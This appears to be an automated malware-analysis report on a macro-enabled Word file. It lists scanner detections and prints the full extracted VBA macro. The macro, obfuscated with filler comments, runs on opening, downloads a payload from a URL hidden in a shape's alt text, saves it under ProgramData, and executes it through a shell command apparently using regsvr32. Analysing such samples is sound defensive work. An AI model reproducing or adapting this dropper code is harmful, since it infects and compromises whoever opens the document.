MALICIOUS
170
Risk Score
Heuristics 6
-
ClamAV: Doc.Dropper.Generic-9823539-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Generic-9823539-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set yEdib = CreateObject("WinHttp.WinHttpRequest.5.1") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2010/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 10348 bytes |
SHA-256: 468392982b586de2e2ce369f8f163321f0ce358962ff430949eb91fdc0170193 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Lgzab"
Sub VLgiO(CTSLC, Optional ByVal Svbci As String = "c:\programdata\jZuLf.pdf")
' Staging bargains scalps
' Monomania
' Bushel duskier dulcet palm
' Resign unmutilated spotter mail station
' Parading magnified recreation constructional utensil shelter
' Satiate druid brigadier demo
' Breccias ambushing
' Converges
' Visiting uncontrollable anguish spoke flexibility catnip testaments
' Collection indemnity term
' Kinematics wader revisions kisses slickness obfuscated
' Netball callers professedly punchcard colourings
' Proficiency wig retired disciplinarian gestured
' Spent balustraded headman gatecrash portico istanbul healthy
' Ever chanciest headless
' Lobes
' Fanaticism ossification sward
' Impediments
' Fluffing irishman outbreaks unfitting
' Days fathomed fastings
' Withered cultivates
' Rebuked corrupting
' Arrested centred divans curies angora
' Carbuncles
' Manes recapturing levitation
' Buff unexplored enrichment sacral
' Ageism declaration spines hold
' Imbibed aloud link
' Regularised symbolically random shameless
' Aperitifs
' Loungers botch superfluities
' Shaped eavesdrop
' Gambles accessions epileptic
' Centred convertibility disembodiment
' Explains engages
' Supersaturated
' Tuft shallowest perishing bloodily
' Microwaveable
' Coiling abode
' Disturbances imported anticipations
' Compulsion photosynthetic unawares coarsens existence
qXBIi = Svbci
Open qXBIi For Output As #1
' Peacemaker footsore naturalised stickler
' Organs
' Microbes shafted proteins insects
' Thanks disallowing successive
' Dispatch tartly qatar mulches
' Unselfishly
Print #1, CTSLC
' Prey recyclable anaesthetised standstill preceding
' Overcrowd
' Gropers
' Decapitated illegality
Close #1
End Sub
' Cyclops cosmical offer dispersions
' Ventriloquism maxi balustraded understorey linkage
' Lessons mollusc dude
' Threes understanding sequences glitters
' Teashops kidnapping
Sub AutoOpen()
' Dwarfing orgy muck
' Whisking jar damsels
' Pinafore trepidations legacies swelling
' Realists thong lighter
' Agreement platoon elimination psycholinguistics
' Ghosted postmortem emboldening
' Counterpoint steamroller
' Overtures hillocks saucepan
' Midriff flanking stockbroking san impracticality subtend
' Unsterilised impressed marbles inattention apart
' Simplistic
' Mimetic unchecked
' Gremlin bottlefeed tuxedo
' Retinue sniffles iconography standardisation speediest
' Leafier
' Quotable pyracantha fungicide abounded
' Sumps worriedly
' Interstellar flatterers squawks
' Interviewing visual debacles assembled
' Hemlock crewmen deserting lurched
' Woodwork fastings
' Unwaveringly liverish fatherless
' Welleducated
' Vehemence deism timekeeper banalities ban reconstituting
' Practicalities valence
' Lassies aegis sidelights overlies
' Construes logos corgi hanggliders boulder capture refurbishments
Dim JhVOD As New kIbPj
' Quirk fellatio beget encirclement acquiescing
' Thinktank flouncing dysentery
' Taxpayers coops recital
' Discordant dissociated
' Trilogies breakins sidekick leash
' Dodgems
' Unveils misspell bowers heaviest
CTSLC = JhVOD.AlImd()
' Vitiated lofts pre plenteous
' Expressionless reinserted kayak
' Unsteadily blackmailer recall flighty sumatra bearing flopped
' Fends
' Peppermints macroscopic prostrated
' Halting biometric
VLgiO PYRQd(CTSLC)
' Wolfhound polishing
' Excelsior mender
' Manifestly deadness articular
' Guilelessness antler initialise lethargically
' Siren byways
' Turners apprise fictitious
' Smirks
' Offering burmese taboos
' Dovetails parasol
' Tombola snifter
' Hate warlord yoga
' Gingham lampshades
RrMYM XNYBo(0) + "r32 c:\programdata\jZuLf.pdf", ""
End Sub
Function UFLVz(TepEN, uyKBP)
' Stairways afforested alloying
' Bricklaying everchanging
' Surrealism
' Bossiest
UFLVz = Split(TepEN, uyKBP)
End Function
Attribute VB_Name = "wWYkw"
' Chameleons papacy lymphomas
' Fractal
' Contested infancy hampered neighbouring
' Botched fireman atrium restructures spoof
' Stronghold masts
Function PYRQd(UfZvz)
' Decommissioning this hypotension freons
' Fakes foray saline
' Whorls mangler coder
' Multiprogramming aeroplane cessations typhoons
' Unbars moses hermetically
' Gentlefolk dwindle briefcase astringent
' Revenges
PYRQd = StrConv(UfZvz, vbUnicode)
' Numerals comparatives
' Intelligent manoeuvrable circuit
' Zeta barkers
' Spiky udder bystander unsubdued meiotic
End Function
' Apologising irreligious artlessly becomes backsliding trilogy
' Recounts quickly membership legalese stayed haphazard
' Untruthful ulceration
' Immature agoraphobia defaulter civil
Function MLhBm()
' Teddy overlook orangutan sickbed
' Consultative
' Hermitage stripes
' Unleashes
' Relaunch beatifications ambled
' Pestilent burgeoning journeyman brainless
' Blurs goat dexterous
' Bar indolence captivation
' Hoards stagehands warns stifled dealers
MLhBm = ActiveDocument.shapes(1).AlternativeText
End Function
' Cappuccino kneeled auto
' Circularly concurrence intimidate seamless
' Geographic disclaimer
' Dials fouling rowboat received hitters
' Brazenly bombasts
' Relationally
Function XNYBo(CacHH)
' Supplements castration periglacial gashing
' Prompts illustrative comforter
' Rehabilitated correlations crimes
' Micturition constraining guppy insuring
' Masterpieces percolating coarser
' Excising refugee designer
' Meticulously
' Amiableness optionally
' Stripier croak hallow feminine
' Reserver
' Drifter fruitcakes
lGKLH = MLhBm()
yAgsM = UFLVz(lGKLH, "kristi")
HZaZn = yAgsM(CacHH)
XNYBo = HZaZn
End Function
Attribute VB_Name = "kIbPj"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Muddle clout
' Semite
' Reserver lychee enthralled repliers
' Momentum sky goldsmith
' Highlands contingency you subdivision
' Interleaves consultancy bureaucrat
' Seared facials commitments eardrops sable
Function AlImd()
' Outgrowing chasers confidants confidants saxophone
' Ruddy errant housewife
' Beneath giantkillers sensitivity wretches doorway
' Synonymy lemmas
' Gestation sceptre
' Spooned homunculus
' Spearheads candidly kitbags replotted anticipations
Dim yEdib As Object
' Merchantmen stress acrostic
' Liability mousy recognition accountant
' Newcomer reminisces crossroads intended
' Abstractions limiting
' Sounds
Set yEdib = CreateObject("WinHttp.WinHttpRequest.5.1")
' Revitalising immerses runts unbelievability
' Amphetamine gnashed stigma scorecard distrusting
' Clearup
' Trunking disbelief speedway sexism
' Troubleshooters wormhole
' Thirsting adjuster osiris
' Disqualify extrude
' Cooked bragging observation developments filtrate
' Quavering overdraw absolved superheat
' Snored psychoanalysts encroaching compulsorily inflexions indicates
' Specialty
' Sons redressed
' Glee capping prevailed
' Wilts unshaded tutorials
' Enfranchise vindicating disinfect asleep crate counterpane
' Cameo implicated
' Liniments
' Snoozes
' Twittering salvager sicknesses drily databases
' Grossly dishonest proctors
' Brash unacceptable viler
' Necessaries
' Marvellous pavements
' Orang glide kookaburra
' Unlocks straggling usury
' Extraterrestrials flesher gurgle viewer
' Knack landlady
' Maroon swung
' Aversions unstrapped yardstick necessitated
ZraUq = XNYBo(1)
' Preallocate origins ovate mussel telescoped sheath
' Disowning slithers substitutable
' Contentedly denuded glove encapsulations unctuously
' Bought fateful cabals spanned craved
yEdib.Open "GET", ZraUq, False
' Sated pasture oceanographers
' Designed
' Press pimps nutritious
' Testes entertainments
yEdib.Send
' Hare culturally
' Shore undemocratic
' Coaches skindeep
' Breakfasts priggishly
' Corner
' Tomfoolery
' River surf concessional
AlImd = yEdib.responsebody
End Function
Attribute VB_Name = "LtDJi"
Sub RrMYM(crAbc, YGdSi)
' Alcoholic terrifies compressions absentmindedly
' Accomplished abets prosperously
' Upstaging feebler
' Transgressor broadminded pliers wholefood
' Infant cats
' Inhumane
' Whim psychology nectar hovering mastitis
' Giddier assimilable assertively elide lasciviousness
' Fretfully winners sightings wiring avowedly
' Apt
' Squeegee piercing unperceived propagates
' Strafe epochal
' Malaise pastille
Set SpZUr = CreateObject(YGdSi + XNYBo(2) + "ll").exec(crAbc)
' Slow closeups
' Productive tyrannically legacy
' Narrates nyala confrontations
' Exertions bluesy harvests
' Rediscussed epidemiological unlock dissipative stabling destruction
' Sewerrat mayoress sunshade
' Shortcrust seals
' Boleyn aspirations squelch
' Monitoring relate clean speaker internationalists
' Reviews flagons highpitched abortionist
' Wardship wrists
' Behoves cushioned exothermic flowerpots
' Differ pollute vision
' Earthen
' Striver agreeableness bologna
' Thoughtfulness captaining
' Forgiving safest
' Honed
' Multiplexes overrides
' Gregariousness charter candies cheerfulness changeovers
' Melodically gladiatorial southwards reinvestment
' Blackmailing
' Probability interruptibility shilling
' Miming nemesis disrupts click mistreated arches fighter sugarcoated
' Knotting improvident tolerant
' Rectum stitched
' Calibrating
' Marinas wording
' Knowledge meridian
' Refers morbidity everpresent enforcers readjust monstrosities overpowered revolutionising
' Guiltiness
' Producible untidiest knitting
' Honorarium unfurl matadors stunting saunters ethologists
' Rang emendations
' Hyphens industriously prurience informally misguidedly
' Fallout immaculately motivator appliance progenitor
' Assaulting
' Culinary breakage rib
' Category automated disorders
' Forcefeed supplemental woodwind pressurised gurgling
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 40960 bytes |
SHA-256: d7844e85687c8ea1357b77dcbbee11fa6f2602328039b1a7aeeabf8aa1499dc5 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.